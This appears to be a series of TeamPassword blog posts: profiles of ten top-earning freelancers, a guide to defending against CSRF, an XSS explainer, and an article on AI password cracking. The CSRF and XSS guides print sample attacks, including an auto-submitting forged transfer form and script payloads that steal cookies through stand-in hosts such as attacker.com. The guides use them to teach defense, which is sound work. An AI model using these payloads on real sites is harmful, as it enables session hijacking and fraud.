Dreaming of a flexible career where you set your own hours and work with clients from around the globe? The rise of the gig economy has made this dream a reality for countless professionals. From graphic designers to writers and developers, freelancers are reshaping the traditional workplace.
Over the last decade, the gig economy boom has allowed professionals worldwide to switch to freelancing and build a network of international clients.&nbsp;
According to Upwork, <a href="https://www.upwork.com/research/freelance-forward-2022" rel="follow noopener" target="_blank">freelancers contributed $1.35 trillion to the U.S. economy in annual earnings in 2022, up $50 billion from 2021</a>.&nbsp;Some of the most successful freelancers earn hundreds of thousands of dollars per year through platforms like Upwork, Freelancer, and Toptal.
But what does it take to become a top-earning freelancer? In this post, we'll examine 10 successful individuals who have built thriving careers in the freelance world. By examining their portfolios and successes, we hope to give you a better idea of what's possible in the freelance world, and inspire you to take the leap should you decide that freelance is the right choice for you!
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Does your company hire freelancers? How do you <a href="https://teampassword.com/blog/should-i-share-data-with-freelancers" rel="follow noopener" target="_blank">share passwords with freelancers</a>? TeamPassword is an affordable password management solution for small businesses, startups, and agencies to share credentials securely with team members and freelancers. <a href="https://app.teampassword.com/signup" rel="follow noopener" target="_blank">Sign up for a 14-day free trial</a> today.
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<h2>10 Successful Freelancers</h2>
Here are ten successful freelancers and what they do. These freelancers have earned their place as experts in their given field with excellent track records&mdash;many have worked with the biggest companies in the world!
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<h3>1. Scott Luscombe - Graphic Designer / Shopify Expert / Website Developer / Copywriter&nbsp; - Canada</h3>
Scott Luscombe is a freelance graphic designer, Shopify expert, website developer, and copywriter from Uxbridge, Canada. He holds a degree in Illustration from Sheridan College and a degree in Marketing from the University of Toronto.
Scott has been a freelancer for most of his professional career and has earned over $500k on Upwork. He has completed over 311 jobs and worked&nbsp;10,956 hours!&nbsp;
Scott's work includes graphic design and branding, illustration and icons, copywriting, website design and development, UX/UI, and printing and packaging. He also provides freelance coaching and consulting. Scott is a Top Rated Upwork Freelancer currently charging $99 per hour for various creative gigs.
Some of Scott's most notable work includes designs for Coca-Cola, the Canadian Cancer Society, Nickelodeon, and Wallet Ninja (to name a few).&nbsp;
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<h3>2. Kathy Edens - Marketing Consultant / Freelance Copywriter - United States</h3>
<a href="https://www.upwork.com/freelancers/~016177d19f0624c1a7?viewMode=1" rel="nofollow noopener" target="_blank">Kathy Edens is a Top Rated Upwork Freelancer</a> with over $300k platform earnings! Kathy has been self-employed as a marketing consultant and freelance copywriter for almost ten years from her home in Ohio, United States.
She holds a Bachelor of Science in Professional Writing and Psychology from Oregon State University, which she says "...helps me understand how to reach your target audience with words."&nbsp;
Kathy has ghost-written several non-fiction books on various topics, including social entrepreneurship, healthcare, real estate investing, and the cannabis industry, to name a few.
Kathy also writes web content, sales pages, email marketing content, case studies, white papers, brochures, press releases, and more. Kathy's rates start at $86 per hour for her writing and marketing services.
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<h3>3. Koen van Oeveren - UX designer - Netherlands</h3>
Koen van Oeveren is a freelance UI &amp; UX designer from North Brabant, Netherlands, with almost ten years of experience. Koen works with several design agencies in the Netherlands, designing apps, websites, and eCommerce experiences for many international brands.&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
Koen holds a Bachelor of Applied Science in Communication and Multimedia Design from Avans University in the Netherlands. Koen's <a href="https://www.koenvo.com/index.html" rel="nofollow noopener" target="_blank">portfolio website Koenvo</a> was nominated for a <a href="https://www.awwwards.com/sites/koenvo-ui-ux-portfolio" rel="nofollow noopener" target="_blank">2021 awwwards Award</a>.
<img src="https://cdn.buttercms.com/IOmtrbdOQZev1mS8Jc33" alt="undefined" width="650" height="433">&nbsp;Image by Freepik&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
<h3>4. Pascal Strasche - Product / UX designer - Germany</h3>
Pascal Strasche is a product and UX designer with more than ten years of design experience from Germany. He holds a Master of Arts in Interaction Design and a Bachelor of Arts in Graphic Design, both from HAWK University of Applied Sciences and Arts.
For almost a year over 2020/2021, Pascal worked as the sole product designer to design Con Cubo's SaaS tool that helps complex organizations visualize and manage teams. He's also worked with German steel giant XOM Materials to find product solutions to digitalize&nbsp;Germany's steel industry.&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
In 2019, Pascal founded Product Design Resources, a growing archive of 800+ design resources, weekly updated for the design community.
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<h3>5. Paul Hunkin - Developer - New Zealand</h3>
Paul Hunkin is a freelance software consultant and developer from Tauranga, New Zealand, but currently living in Portugal.&nbsp;
Paul has over ten years of experience as a software developer with an impressive work history, including Google, NASA, InfoSys, and the Chinese aerospace industry leader COMAC.
He's worked with several early-stage startups designing everything from high-performance big-data systems to complex web applications to 3D rendering engines. He's also built a lot of the foundational code for independent games on Android.&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;
Paul is a Top Rated Upwork Freelancer with over $400k in platform earnings. His rates start at $120 per hour for software development. <a href="https://paulh.consulting/" rel="nofollow noopener" target="_blank">Check out Paul's website</a> for more about his impressive portfolio and work history.
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<h3>6. Jana Galat - Writer / Brand Strategist - Canada</h3>
Jana Galat is a freelance copywriter and brand strategist from Ontario, Canada. She holds a Bachelor's Degree in Management and Organizational Studies from King's University College and an Honors in Business Administration from Western University.
Jana has extensive experience writing landing pages, email campaigns, social media ads, and print materials and says, "I am obsessed with creating copy that sells..."
After several years of professional work experience, Jana went freelance in 2019 and has quickly built a reputation as a <a href="https://www.upwork.com/freelancers/~01bfa17a48301876dd" rel="nofollow noopener" target="_blank">Top Rated Upwork Freelancer</a> with over $70k in platform earnings. Jana's rates start at $100 per hour for copywriting and brand consulting.
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<h3>7. Kate H. - Logo Designer / Branding Expert - United States</h3>
Kate is a freelance professional logo designer and branding expert from Maryland, United States. Kate&nbsp;ran her own green wedding brand which she sold to mywedding.com in 2014, allowing her to focus on helping small&nbsp;businesses figure out what they want (and who they are) and translate that into design.
She holds a Master's degree in Environmental Management from Yale School of The Environment, and a J.D. in environmental law from Pace Law School.&nbsp;
Kate's skillset includes redesigning and updating material to make it easier to understand, building a consistent brand from a simple starting point like a logo, and creating unique logos that guarantee results.
Kate is a Top Rated Upwork Freelancer, and her rates start at $225 per hour. You can find out more about Kate on her <a href="https://www.upwork.com/freelancers/~013ce73876c1c18126" rel="nofollow noopener" target="_blank">Upwork profile</a>.
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<h3>8. Marcos Rezende - UX designer - Canada</h3>
Marcos Rezende is a UX Designer from Ontario, Canada, with more than 13 years of experience. Marcos has worked in over 30 industry sectors for multinational organizations in the United States, Canada, Germany, and Brazil.&nbsp;
Some of Marcos' notable projects include apps for Ontario's COVID-19 dashboard, Urban Master Planning collaboration platform, and Reaction (kid's e-learning app), to name a few.&nbsp;
Marcos loves sharing his industry expertise with aspiring UX designers and regularly writes for the popular UX publication Career Foundry. Total recognizes Marcos as part of its "Top 3%" of global freelancer talent&mdash;a title given to elite freelancers in their given field.
We don't have access to Marcos' rates, but the best UX designers on Upwork earn upwards of $100 per hour. As a Toptal Top 3% freelancer, Marcos likely charges $200-$300 per hour.
<a href="https://www.marcosrezende.com/" rel="nofollow noopener" target="_blank">Marcos Rezende's website</a> was nominated for the prestigious <a href="https://www.awwwards.com/sites/ux-portfolio-marcos-rezende" rel="nofollow noopener" target="_blank">awwwards.</a> in 2021.
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<h3>9. Tanya Litvinova - UX/UI Designer - United States</h3>
Tanya Litvinova is a freelance UX/UI designer from New York City, United States. She holds a Bachelor of Fine Arts in Advertising Design / Communication Design from the Fashion Institute of Technology.
Tanya specializes in product, mobile, and web design as well as user experience flow, research, and validation.
"I have a passion to make the complex simple, shape behavior, design, plan, and strategize. Aiming for the best user experience, all the while balancing the needs of business and technology to create engaging, habit-forming digital products."
Tanya has worked with Fortune 100 &amp; Fortune 500 companies and successfully delivered business-transforming data-driven analytics, responsive BI dashboards, enterprise web apps, and management systems. Some of Tanya's notable clients include KOCH Industries, BlackRock Financial, BCG Group, and FireEye, to name a few.
<a href="https://www.upwork.com/freelancers/~0165035041b26e96df" rel="follow noopener" target="_blank">Tanya is a Top Rated Upwork Freelancer</a> with more than $200k platform earnings. Her current rate starts at $162.50 per hour.
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<h3>10. Guangming Lang - Data Scientist - United States</h3>
Guangming Lang is a freelance data scientist from Michigan, United States. He holds a Bachelor of Arts in Mathematics from New College of Florida and a Master of Science in Biostatistics from the University of Michigan. Guangming has also completed several Coursera courses in data science and machine learning.
Guangming has been a freelancer since 2013 and has worked across several industries, including fintech, trading, medicine, biotech, advertising, and HR.&nbsp;
Guangming is a Top Rated Upwork Freelancer with over $400k in platform earnings. He's completed 216 jobs on Upwork totaling 3,805 hours! Guangming's current rates start at $200 per hour.
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<h2>Secure Freelancer Workflows With TeamPassword</h2>
No matter how talented or reputable the freelancers and contractors you hire, your company must use secure workflows to protect your digital assets.
Freelancers often need access to shared accounts and tools. Using a <a href="https://app.teampassword.com/signup" rel="follow noopener" target="_blank">password manager</a> is the first step to securing these accounts and platforms. You can also use a password manager to share credentials with employees, clients, and other stakeholders to ensure you never expose raw passwords via email, spreadsheets, chat apps, and other non-secure methods.
On the Enterprise plan, you can even <a href="https://teampassword.com/one-time-secret?navbar=onetimesecret" rel="follow noopener" target="_blank">share a one-time password link</a>.&nbsp;
<a href="https://teampassword.com/" rel="follow noopener" target="_blank">TeamPassword</a> lets you create groups to share access with only those who need it. When they're done, revoke access with a single click. No need to change passwords every time someone leaves the team.
If you do need to change a password, TeamPassword's built-in <a href="https://teampassword.com/password-generator" rel="follow noopener" target="_blank">password generator</a> lets you create secure passwords between 12-32 characters using numbers, letters (uppercase/lowercase), and symbols.
<img src="https://cdn.buttercms.com/tj8gEkSCTwiowMUAocHy" alt="Built-in password generator.gif" width="400" height="305"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
Ready to onboard clients and freelancers securely with TeamPassword's robust password management solution? <a href="https://app.teampassword.com/signup" rel="follow noopener" target="_blank">Sign up for a free trial</a> to secure your company's digital assets today!

Here are ten successful freelancers and what they do. These freelancers have earned their place as experts in their given field.

Here are ten successful freelancers and what they do. These freelancers have earned their place as experts in ...

10 extremely successful freelancers and what they do

Here are ten successful freelancers and what they do. These freelancers have earned their place as experts in their given field with excellent track records—many have worked with the biggest companies in the world!

(Security Notice: Protecting your users from session-based vulnerabilities is a cornerstone of modern web development. This guide explores Cross-Site Request Forgery&mdash;a silent but high-impact threat&mdash;and provides the updated defense-in-depth strategies required.)
In the world of cybersecurity, Cross-Site Request Forgery (CSRF) is often referred to as the "Confused Deputy" problem. It occurs when a web server is tricked into using its authority to perform an action on behalf of a user without that user's consent or knowledge.
While browser-level protections have improved significantly over the last few years, CSRF remains a critical risk, particularly for applications using cookie-based authentication or those with complex API architectures. Understanding how to mitigate this risk is essential for any team focused on building secure, resilient digital products.
Don't let your business fall victim to preventable vulnerabilities. Let <a href="https://app.teampassword.com/dashboard#signup/testimonial" target="_blank" rel="noopener">TeamPassword</a> take care of your credential security while you focus on scaling your operations.
<h2>The Mechanism: How a CSRF Attack Works</h2>
A CSRF attack exploits the fact that browsers automatically include ambient credentials&mdash;such as session cookies, IP addresses, and Windows Domain authentication&mdash;with every request sent to a domain. The server sees a valid session cookie and "trusts" that the request was intentional.
<h3>The Attack Sequence</h3>
<h3><img src="https://cdn.buttercms.com/OxvA7nETaCoNyjYyFOpn" alt="undefined" width="750" height="419"></h3>
<h3>Beyond the GET Request</h3>
Many developers mistakenly believe that only <code>GET</code> requests are vulnerable. However, an attacker can easily forge a <code>POST</code> request using a hidden form on a malicious landing page:
<pre style="background: #272822; color: #f8f8f2; padding: 15px; border-radius: 5px; overflow-x: auto;"><code>&lt;!-- A hidden malicious form that auto-submits on page load --&gt;
&lt;form id="attack-form" action="https://yourbank.com/api/transfer" method="POST"&gt;
 &lt;input type="hidden" name="account" value="attacker-123" /&gt;
 &lt;input type="hidden" name="amount" value="5000" /&gt;
&lt;/form&gt;
&lt;script&gt;
 document.getElementById('attack-form').submit();
&lt;/script&gt;</code></pre>
<h2>The Impact of CSRF</h2>
The consequences of a successful CSRF attack range from minor inconveniences to catastrophic security breaches:
<ul>
<li>Account Takeover: Changing a user&rsquo;s recovery email or password.</li>
<li>Financial Fraud: Unauthorized fund transfers or purchasing digital goods via stored payment methods.</li>
<li>Data Corruption: Deleting records, changing privacy settings, or modifying critical business configurations.</li>
<li>Reputational Damage: Loss of user trust and potential regulatory fines (GDPR/CCPA) for failing to implement standard security controls.</li>
</ul>
<h2>Modern CSRF Defense Strategies (2026 Standards)</h2>
<h3>1. SameSite Cookie Attributes</h3>
In 2026, browsers treat <code>SameSite=Lax</code> as the default for all cookies. This prevents the browser from sending the cookie in cross-site <code>POST</code> requests. However, for high-security actions, you should explicitly set SameSite=Strict.
<pre style="background: #272822; color: #f8f8f2; padding: 15px; border-radius: 5px;"><code>Set-Cookie: session_id=abc123; SameSite=Strict; Secure; HttpOnly</code></pre>
<h3>2. The Synchronizer Token Pattern (Anti-CSRF Tokens)</h3>
This is the industry standard. The server generates a unique, cryptographically strong token for the user's session. The client must include this token in any state-changing request (POST, PUT, DELETE). The server then validates the token before processing the action.
<h3>3. Custom Request Headers</h3>
Because of the Same-Origin Policy (SOP), a malicious site cannot add custom HTTP headers to a request it sends to another domain. Requiring a custom header for API calls is an effective secondary defense.
<pre style="background: #272822; color: #f8f8f2; padding: 15px; border-radius: 5px;"><code>// Example using Fetch API with a custom header
fetch('/api/update-settings', {
 method: 'POST',
 headers: {
 'X-CSRF-Token': 'unique-token-here',
 'Content-Type': 'application/json'
 },
 body: JSON.stringify({ theme: 'dark' })
});</code></pre>
<h2>CSRF vs. XSS: What&rsquo;s the Difference?</h2>
It is common to confuse CSRF with Cross-Site Scripting (XSS), but they are fundamentally different:
<table border="1" cellpadding="10" style="border-collapse: collapse; width: 100%; margin-top: 20px;">
<thead>
<tr style="background-color: #eee;">
<th>Feature</th>
<th>CSRF</th>
<th>XSS</th>
</tr>
</thead>
<tbody>
<tr>
<td>Goal</td>
<td>Trick the server into performing an action.</td>
<td>Execute malicious scripts in the victim's browser.</td>
</tr>
<tr>
<td>Method</td>
<td>Exploits the trust a site has in a user's browser.</td>
<td>Exploits the trust a user has in a specific site.</td>
</tr>
<tr>
<td>Prerequisite</td>
<td>The user must be authenticated on the target site.</td>
<td>The site must have an input vulnerability to inject script.</td>
</tr>
</tbody>
</table>
<h2>Protecting Your Infrastructure</h2>
Modern frameworks like Django, Ruby on Rails, and Spring Boot have CSRF protection enabled by default. If you are building with React or Angular, ensure your backend is configured to read the CSRF tokens from the headers provided by your frontend interceptors.
In an era where automated tools and AI are being used to identify vulnerabilities faster than ever, manual security isn't enough. Ensuring that your team uses complex, unique passwords across all development platforms is the first line of defense against account compromise.
<a href="https://app.teampassword.com/signup" target="_blank" rel="follow noopener">Sign up for a free 14-day trial of TeamPassword</a> today to secure your company's digital assets and provide your team with the tools they need to stay safe.
<img alt="TeamPassword SOC 2 certified.png" width="644" height="644" src="https://cdn.buttercms.com/2E1SBkO9QNa8f94LkvZC">

CSRF attacks trick your server into executing unauthorized actions. Discover why modern browsers aren't enough to stop them and get the code snippets you need for total defense.

Cross-site request forgery attempts to have users unknowingly execute actions on a web application which they are currently ...

What is CSRF? A Complete Guide to Cross-Site Request Forgery

Cross-site request forgery attempts to have users unknowingly execute actions on a web application which they are currently authenticated.

At <a href="https://teampassword.com" rel="follow noopener" target="_blank">TeamPassword</a>, we believe that true security is built on a foundation of both robust technology and informed users. As custodians of your most sensitive credential data, we maintain a proactive stance against an ever-evolving landscape of digital threats. While a password manager is a vital first line of defense, it is only one piece of a broader security puzzle. In this series, we pull back the curtain on the technical side of web safety&mdash;exploring how developers engineer defenses against sophisticated attacks and how you can sharpen your own awareness to keep your data out of the hands of cybercriminals.
<h2>What is Cross-Site Scripting (XSS) and How Do You Defend Against It?</h2>
Cross-Site Scripting (XSS) is a vulnerability where an attacker injects malicious scripts into content that is subsequently delivered to other users. Because the browser perceives the script as coming from a "trusted" website, it executes the code, allowing the attacker to bypass access controls, steal session tokens, or deface pages.
<h2>How Does XSS Work?</h2>
XSS occurs when a web application includes untrusted data in a web page without proper validation or escaping. There are three primary categories of XSS attacks:
<h3>1. Stored (Persistent) XSS</h3>
This is the most dangerous form of XSS. The malicious script is permanently stored on the target server (e.g., in a database, in a comment field, or a user profile). When a victim views the affected page, the script executes automatically.
Example: An attacker posts a comment on a forum:
<pre><code>The weather is fantastic today! &lt;script src="https://attacker-site.com/steal.js"&gt;&lt;/script&gt;</code></pre>
Every user who loads that forum thread will unknowingly execute <code>steal.js</code>, potentially sending their session cookies directly to the attacker.
<h3>2. Reflected XSS</h3>
In a reflected attack, the script is "reflected" off the web server to the victim's browser. This usually happens via a URL parameter or a form submission. The script is not stored on the server; instead, it is delivered to the victim through a link (often via phishing emails or social media).
Example: An attacker creates a malicious link for a search page:
<pre><code>https://insecure-site.com/search?q=&lt;script&gt;fetch('https://attacker.com/log?c='+document.cookie)&lt;/script&gt;</code></pre>
When the victim clicks this link, the website "reflects" the script onto the page (e.g., "You searched for... [script]"), and the browser executes it.
<h3>3. DOM-based XSS</h3>
DOM-based XSS is a modern variant where the entire attack happens in the client-side code. The server is often not involved at all. The malicious script is executed when the application's client-side code handles data from an "unsafe" source in an unsafe way, such as writing a URL fragment to the page.
Example: A site uses the following logic to welcome users based on the URL hash:
<pre><code>var name = decodeURIComponent(window.location.hash.substring(1));
document.getElementById('welcome').innerHTML = "Hello, " + name;</code></pre>
An attacker can send a link ending in <code>#&lt;img src=x onerror=alert(1)&gt;</code>, which triggers the script entirely within the user's browser.
<hr>
<h2>Modern Strategies: How to Prevent XSS</h2>
In 2026, preventing XSS requires a "Defense in Depth" approach. Simply relying on one method is no longer enough. Here is how developers and organizations stay protected:
<h3>1. Output Encoding (The Gold Standard)</h3>
The most effective defense is to convert untrusted data into a safe form where the browser treats it as text rather than active code. For example, converting <code>&lt;</code> to <code>&amp;lt;</code> ensures the browser displays the character instead of opening a tag. Modern frameworks like React, Angular, and Vue do this automatically for most inputs.
<h3>2. Content Security Policy (CSP)</h3>
A <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP" target="_blank" rel="noopener">Content Security Policy</a> is a powerful security layer that tells the browser which sources of scripts are trusted. A well-configured CSP can block all inline scripts and restrict script execution to specific, verified domains, effectively neutralizing most XSS attacks even if a vulnerability exists.
<h3>3. Context-Aware Input Validation</h3>
While output encoding is vital, input validation is your first line of defense. Applications should use "allow-lists" rather than "deny-lists." If a field expects a ZIP code, only allow numbers. If it expects a color, only allow specific hex codes or names.
<h3>4. Using "HttpOnly" Cookie Flags</h3>
To mitigate the impact of an XSS attack, developers should set the <code>HttpOnly</code> flag on session cookies. This prevents JavaScript from accessing the cookie, meaning that even if an attacker successfully runs a script, they cannot steal the session token to hijack the account.
<h3>5. User Awareness &amp; Link Hygiene</h3>
From the user's perspective, vigilance remains key. Always hover over links to inspect the destination URL before clicking, especially in emails or private messages. If a URL contains complex scripts or unusual characters, it is a significant red flag.
<hr>
<h2>Conclusion</h2>
As the web becomes more interactive and complex, XSS remains a top priority for security researchers and developers alike. In 2026, the rise of AI-driven code generation has made it easier for vulnerabilities to slip through&mdash;but it has also empowered security teams with better automated testing tools.
True security is a partnership between robust engineering and informed users. At <a href="https://teampassword.com/" target="_blank" rel="noopener">TeamPassword</a>, we prioritize the integrity of your data by employing industry-leading security protocols and providing the tools necessary for safe credential management. By staying aware of risks like XSS and utilizing specialized security services, you can navigate the digital world with confidence. Join the thousands of companies that trust us to keep their most sensitive data where it belongs: in safe hands.
<a href="https://app.teampassword.com/signup" rel="follow noopener" target="_blank">Get started with a free trial of TeamPassword today!</a>

XSS vulnerabilities can be hidden in plain sight. Knowing what they are and how to defend against them can keep you and your business safe.

Cross-site scripting or XSS place malicious scripts on trusted websites, creating security vulnerabilities where the are least expected. ...

Cross-site scripting (XSS): what it is and defenses

Cross-site scripting or XSS place malicious scripts on trusted websites, creating security vulnerabilities where the are least expected. How does XSS work? And how can you prevent it? This article will answer both questions to help protect you, your team, and your business.

Cybersecurity Series: What is cross-site scripting (XSS) and how do you defend against it

Photo by Towfiqu barbhuiya on <a href="https://unsplash.com/photos/em5w9_xj3uU?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText" rel="nofollow noopener" target="_blank" style="color: #95a5a6;">Unsplash</a> &nbsp;
Cybercriminals are constantly developing increasingly sophisticated password-cracking/hacking methods. It is now possible to apply AI to crack simple passwords without fuss. You can find proof in emerging AI solutions like PassGAN, which cracked over half of the common passwords fed to its system&nbsp;<a target="_blank" href="https://www.spiceworks.com/tech/artificial-intelligence/news/passgan-ai-password-cracking-time/" rel="noopener">in under 60 seconds</a>. The staggering developments in AI password cracking undoubtedly raise newfound security concerns for many IT teams and company decision-makers.&nbsp;
Highly hackable passwords essentially leave the proverbial door open for major system breaches within your organizational network. These often result in catastrophic consequences for sensitive data and company assets, and not forgetting the far-reaching dangers of identity theft. &nbsp;
Here are five critical insights about the rapidly evolving developments of AI password cracking:
<ul>
<li>Your password is 100% crackable by AI as long as it has been breached or leaked.</li>
<li>Advanced AI password-cracking tools can bypass&nbsp;<a target="_blank" href="https://www.rd.com/article/ai-password-cracking/#:~:text=Additionally%2C%20the%20AI%20cracked%2051,take%20online%20security%20more%20seriously." rel="noopener">81% of common passwords&nbsp;</a>within a month, and most of those coded strings within a day.&nbsp;</li>
<li>Top AI password cracking enables perpetrators to hide behind a veil of secrecy while they automate their breaching activities, making them more elusive than ever.&nbsp;</li>
<li>AI password cracking tools advance their capabilities with breached password data. So, it is vital for your team to follow the latest cybersecurity practices for optimal protection. &nbsp;</li>
<li>Your team can significantly reduce the risk of AI password cracking by optimizing regular password hygiene practices.&nbsp;</li>
</ul>
Our guide shares how AI password cracking works, other cybersecurity threats to your company, and the best practices in password hygiene for preventing these highlighted issues. &nbsp;
TeamPassword does not crack passwords or recover passwords.
TeamPassword is a secure, affordable, and modern password manager for businesses. <a href="https://app.teampassword.com/signup" rel="follow noopener" target="_blank">Try TeamPassword free for 14 days!</a>
<h2 id="canAI">Can AI Be Used to Crack Passwords?</h2>
The rise of artificial intelligence (AI) has introduced powerful tools for both innovation and cybercrime. Among these is the application of AI for cracking passwords, with programs like PassGAN (Password Generating Adversarial Network) leading the charge. These AI-driven tools mark a significant evolution in password-cracking techniques, far surpassing traditional brute force or dictionary-based attacks.
This threat is only accelerating. While PassGAN was a significant development, today's general-purpose Large Language Models (LLMs)&mdash;the same technology behind tools like ChatGPT&mdash;are even more potent. These models are incredibly adept at recognizing and generating human-like patterns. This means they can create far more effective wordlists for dictionary and brute-force attacks, testing complex variations that humans mistakenly believe are secure (like "Password2025!" or "MyD@gIsFluffy123"). Specialized models (like PassLLM) are now being trained specifically on password data, making the AI threat more powerful and accessible than ever.
Unlike conventional methods that rely on predefined human-generated rules or lists of common passwords, AI tools like PassGAN use machine learning and neural networks to improve their performance over time. PassGAN doesn&rsquo;t just guess passwords&mdash;it learns them. It does so by analyzing vast datasets of breached password information, identifying patterns, and generating likely passwords based on real-world behavior.
<h3>How AI-Powered Password Cracking Works</h3>
PassGAN and similar tools leverage artificial neural networks (ANNs), which mimic the human brain's ability to process and analyze patterns. Here&rsquo;s how the process typically works:
<ol>
<li>
Training on Breached Passwords: PassGAN is trained on datasets containing millions of real-world leaked passwords from prior data breaches. These datasets allow the AI to distinguish between realistic and unrealistic password structures.
</li>
<li>
Pattern Recognition: The AI identifies trends in password creation, such as common words, phrases, keyboard patterns (e.g., &ldquo;qwerty&rdquo;), or variations that people use to make passwords appear more secure (e.g., replacing &ldquo;a&rdquo; with &ldquo;@&rdquo;).
</li>
<li>
Predictive Generation: Based on the patterns it has learned, the AI generates new password guesses that are more likely to match actual user passwords.
</li>
<li>
Continuous Improvement: As the AI encounters success or failure in cracking passwords, it uses that feedback to refine its future guesses, becoming increasingly effective over time.
</li>
</ol>
<h3>Why Your Password Alone Is Not Enough: The MFA Imperative</h3>
Because AI has become so effective at guessing the first "factor" (the password), this single layer of security is no longer a reliable defense. This is where Multi-Factor Authentication (MFA) becomes a critical, non-negotiable security layer. Even if an AI-powered attack successfully cracks your password, MFA requires a second, separate piece of information that the attacker does not have.
However, it's crucial to understand that <a href="https://teampassword.com/blog/2fa-vs-mfa" target="_blank" rel="noopener">not all MFA methods are created equal</a>. A clear hierarchy of security has emerged:
<ul>
<li>SMS-based 2FA (Codes via Text): This is now considered the least secure form of 2FA. Hackers can use "SIM-swapping" attacks to take control of your phone number and intercept your codes. While it is better than nothing, it is highly vulnerable to a targeted attack.</li>
<li>Authenticator Apps (TOTP): Apps like Google Authenticator, Microsoft Authenticator, or Authy generate time-based, one-time passcodes (TOTP) directly on your device. This is much more secure than SMS because the code never travels over the phone network and cannot be easily intercepted.</li>
<li>Hardware Keys &amp; Passkeys: This is the "gold standard" of modern authentication. Methods like YubiKeys or the built-in <a href="https://teampassword.com/blog/passkey-technology" target="_blank" rel="noopener">passkey technology</a> on your phone or computer use public-key cryptography. They are inherently phishing-resistant because the security key is tied directly to the website's true domain, making it impossible to use on a fake or malicious site.</li>
</ul>

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<h2 id="otherthreats">Other Threats to Consider Beyond AI Password Cracking</h2>
AI password cracking joins a long <a target="_blank" href="https://teampassword.com/blog/five-most-common-password-attacks" rel="follow noopener">list of cybersecurity threats</a>&nbsp;that continues to expand with more advanced technical capabilities. The following are some of the most prevalent threats to look out for when planning your company&rsquo;s cybersecurity protection and password management.
<h3>Phishing</h3>
<a href="https://teampassword.com/blog/spear-phishing" rel="follow noopener" target="_blank">Phishing</a> refers to the social engineering method of deceiving users often by assuming a false identity that instills trust. Disguised attackers then leverage trusted user interactions to steal private information and credentials.&nbsp;
The malicious act of phishing remains the most common form of cybercrime and is expected to affect&nbsp;<a target="_blank" href="https://www.getastra.com/blog/security-audit/phishing-attack-statistics/#:~:text=Phishing%20email%20statistics%20suggest%20that,attack%20occurring%20every%2011%20seconds." rel="noopener">33 million online records in 2023</a>&nbsp;with attacks occurring every 11 seconds.&nbsp;
<h3>Brute Force Attacks</h3>
As the term might suggest, <a href="https://teampassword.com/blog/what-is-a-brute-force-attack-and-are-you-at-risk" rel="follow noopener" target="_blank">brute force attacks</a> refer to the continuous bombardment of multiple passwords via trial and error until the security system finds a match. Brute force attackers usually input various combinations of commonly used passwords to increase the chances of infiltrating an account or network. Some attackers may rely on advanced scripts and bots for submitting multiple password attempts at a rapid rate.
<h3>Dictionary Attacks</h3>
Similar to brute force attacks, however, attackers take a more methodical approach by narrowing password attempts based on terms associated with the user. For instance, cybercriminals may include the words and characters found in a user&rsquo;s email address or the name of their pet (possibly inferred&nbsp;<a target="_blank" href="https://www.linkedin.com/pulse/how-keep-your-social-media-accounts-secure-from-burton/?trk=pulse-article_more-articles_related-content-card" rel="noopener">from their social media profiles</a>).&nbsp;
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<h2 id="howtoprotect">How to Protect Your Passwords: 5 Critical Steps</h2>
Reliable <a target="_blank" href="https://teampassword.com/blog/ultimate-guide-to-password-security-teampassword" rel="follow noopener">password hygiene routines&nbsp;</a>can help safeguard your precious company network and account against evolving AI tools. We look at&nbsp;<a target="_blank" href="https://teampassword.com/blog/your-passwords-arent-safe-unless-youre-taking-these-5-steps" rel="noopener">five effective measures</a>&nbsp;that you can implement to keep AI password cracking at bay.&nbsp;
<h3>Stick With Strong Passwords</h3>
Length is Your Secret Weapon: The longer your password, the harder it is for AI to crack. Aim for at least 15 characters, the more the merrier.
Diversity is Key: A mix of uppercase and lowercase letters, numbers, and special symbols creates a tangled web for AI to navigate. Think of it like a complex puzzle with countless combinations.
Randomness Rules: Avoid predictable patterns like keyboard sequences or easily guessed personal information. Let's be honest, your pet's name and birth year are an open invitation for hackers.
Passphrases: A Memorable Alternative: If you struggle to remember random character strings, consider <a href="https://teampassword.com/blog/how-to-build-a-passphrase" rel="follow noopener" target="_blank">a passphrase</a>. Combine a few random words with numbers and symbols for a password that's both secure and easier to recall. Just remember, length is still crucial.
Remember, even the <a href="https://teampassword.com/blog/tips-and-tricks-to-create-a-strong-password" rel="follow noopener" target="_blank">strongest password</a> can be compromised if reused across multiple accounts. Unique passwords for each platform are essential.
<h3><img src="https://cdn.buttercms.com/2HiJREcRg6yN10QaKAr6" alt="Graph showing how password length increases entropy. The Y axis shows entropy in bits, the X shows password length. " width="771" height="462" style="font-family: Lato, Helvetica, Arial, sans-serif; font-size: 14px; font-weight: 400;"></h3>
<h3>Don't Reuse Passwords Across Accounts</h3>
The most complex passwords are ineffective (and risky) if they&rsquo;ve been stored in a breached database. Industry research shows that&nbsp;<a target="_blank" href="https://us.norton.com/blog/privacy/password-statistics#:~:text=More%20than%2080%25%20of%20confirmed,to%20their%20accounts%20or%20devices." rel="noopener">80% of confirmed data breaches</a>&nbsp;result from stolen, weak, or reused passwords. Advanced AI software can<a target="_blank" href="https://www.reuters.com/article/us-dunkin-brnds-new-york-idUSKBN2662PX" rel="noopener">&nbsp;leverage leaked information</a>&nbsp;to crack your password code in seconds through brute force attacks. Perhaps the worst part about reusing passwords across multiple accounts is that a single cyber breach could result in unauthorized access to every corner of your managed networks. &nbsp;
<h3>Change Critical Password Regularly</h3>
Changing your company account passwords regularly lowers the risks of an AI security breach by keeping AI constantly guessing.&nbsp;<a target="_blank" href="https://teampassword.com/password-generator" rel="noopener">TeamPassword&rsquo;s secure password generator</a>&nbsp;helps you create effective new passwords in a click without worrying about the effectiveness of your combinations.&nbsp;
While forcing users to change passwords at intervals often leads to lower security standards (raise your hand if you've done password123, password!@#, password123!@#...), you should take responsibility for your most critical passwords (bank account, password manager) to keep them secure.&nbsp;
<h3>Enable Two-Factor Authentication&nbsp;</h3>
<h3><img src="https://cdn.buttercms.com/INcDYDATTZmEeOW2rOGT" alt="" width="305" height="203"></h3>
